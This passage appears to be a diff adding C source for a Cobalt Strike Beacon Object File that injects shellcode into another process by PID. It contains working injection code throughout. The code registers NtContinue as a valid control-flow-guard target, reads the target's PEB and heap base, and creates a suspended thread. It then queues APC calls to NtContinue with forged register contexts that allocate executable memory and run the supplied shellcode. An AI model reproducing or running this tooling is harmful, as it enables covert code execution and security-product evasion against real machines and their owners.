sc_ptr, SIZE_T sc_len) { + + pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread"); + pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx"); + pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread"); + pNtContinue NtContinue = (pNtContinue)KERNEL32$GetProcAddress(module, "NtContinue"); + pNtTestAlert NtTestAlert = (pNtTestAlert)KERNEL32$GetProcAddress(module, "NtTestAlert"); + pNtGetContextThread NtGetContextThread = (pNtGetContextThread)KERNEL32$GetProcAddress(module, "NtGetContextThread"); + LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread"); + LPVOID NTALLOC = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "VirtualAlloc"); + LPVOID wso = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "WaitForSingleObject"); + + PCONTEXT ContextRopAlloc = { 0 }; + PCONTEXT ContextFake = { 0 }; + PCONTEXT ContextExec = { 0 }; + PCONTEXT ContextRopcpy = { 0 }; + + ContextRopAlloc = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT)); + ContextExec = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT)); + ContextFake = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT)); + ContextRopcpy = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT)); + + HANDLE fakeThread = NULL; + NtCreateThreadEx(&fakeThread, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL); + ContextFake->ContextFlags = CONTEXT_FULL; + + NtGetContextThread(fakeThread, ContextFake); + + CustomCopy(ContextRopAlloc, ContextFake, sizeof(CONTEXT)); + ContextRopAlloc->ContextFlags = CONTEXT_FULL; + CustomCopy(ContextRopcpy, ContextFake, sizeof(CONTEXT)); + ContextRopcpy->ContextFlags = CONTEXT_FULL; + CustomCopy(ContextExec, ContextFake, sizeof(CONTEXT)); + ContextExec->ContextFlags = CONTEXT_FULL; + + PCONTEXT contextOfVirtualAlloc = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module); + + ContextRopAlloc->Rsp -= (ULONG_PTR)0x1000 * 9; + ContextRopAlloc->Rip = (ULONG_PTR)NTALLOC; + ContextRopAlloc->Rcx = (ULONG_PTR)0x00000000DDDD0000; + ContextRopAlloc->Rdx = (ULONG_PTR)sc_len; + ContextRopAlloc->R8 = (ULONG_PTR)MEM_COMMIT | MEM_RESERVE; + ContextRopAlloc->R9 = (ULONG_PTR)PAGE_EXECUTE_READWRITE; + + WriteRemoteMemory(hProc, contextOfVirtualAlloc, sizeof(CONTEXT), (unsigned char*)ContextRopAlloc, module); + WriteRemoteMemory(hProc, (PVOID)ContextRopAlloc->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module); + + NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfVirtualAlloc, NULL, NULL); + + + PCONTEXT contextOfcpy = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module); + + ContextRopcpy->Rsp -= (ULONG_PTR)0x1000 * 8; + ContextRopcpy->Rip = (ULONG_PTR)wso; + ContextRopcpy->Rcx = (ULONG_PTR)(HANDLE)-1; + ContextRopcpy->Rdx = (ULONG_PTR)10000; + + WriteRemoteMemory(hProc, contextOfcpy, sizeof(CONTEXT), (unsigned char*)ContextRopcpy, module); + WriteRemoteMemory(hProc, (PVOID)ContextRopcpy->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module); + + NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfcpy, NULL, NULL); + + + PCONTEXT contextOfExec = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module); + + ContextExec->Rsp -= (ULONG_PTR)0x1000 * 7; + ContextExec->Rip = (ULONG_PTR)0x00000000DDDD0000; + + WriteRemoteMemory(hProc, contextOfExec, sizeof(CONTEXT), (unsigned char*)ContextExec, module); + WriteRemoteMemory(hProc, (PVOID)ContextExec->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module); + + NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfExec, NULL, NULL); + + NtResumeThread(fakeThread, NULL); + + WriteRemoteMemory(hProc, (LPVOID)0x00000000DDDD0000, sc_len, sc_ptr, module); + + KERNEL32$LocalFree(ContextRopAlloc); + KERNEL32$LocalFree(ContextExec); + KERNEL32$LocalFree(ContextFake); +} + +void go(char *args, int len) { + char* sc_ptr; + SIZE_T sc_len; + DWORD pid; + datap parser; + HANDLE hProc = NULL; + BeaconDataParse(&parser, args, len); + pid = BeaconDataInt(&parser); + sc_len = BeaconDataLength(&parser) - 4; + sc_ptr = BeaconDataExtract(&parser, NULL); + HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll"); + LPVOID NtContinue = (LPVOID)KERNEL32$GetProcAddress(hNtdll, "NtContinue"); + hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION, FALSE, pid); + + if (hProc == NULL){ + BeaconPrintf(CALLBACK_ERROR, "[X] OpenProcess Failed!\n"); + return; + } + + CfgAddressAdd((ULONG_PTR)hNtdll, (ULONG_PTR)NtContinue, hProc, 0x1); + KERNEL32$CloseHandle(hProc); + hProc = NULL; + hProc = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + LPVOID PebAddr = getPeb(hProc, hNtdll); + KERNEL32$CloseHandle(hProc); + hProc = NULL; + hProc = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD, FALSE, pid); + BeaconPrintf(CALLBACK_OUTPUT, "[+] Peb Address: 0x%p\n", PebAddr); + INT64* HeapAddr = (INT64*)ReadRemoteMemory(hProc, (char*)PebAddr + 0x30, 8, hNtdll); + INT64 readHeap = *HeapAddr; + BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Base Addr: %p\n", readHeap); + + InjectShellcode(hProc, readHeap, hNtdll ,sc_ptr, sc_len); + + KERNEL32$CloseHandle(hProc); + +}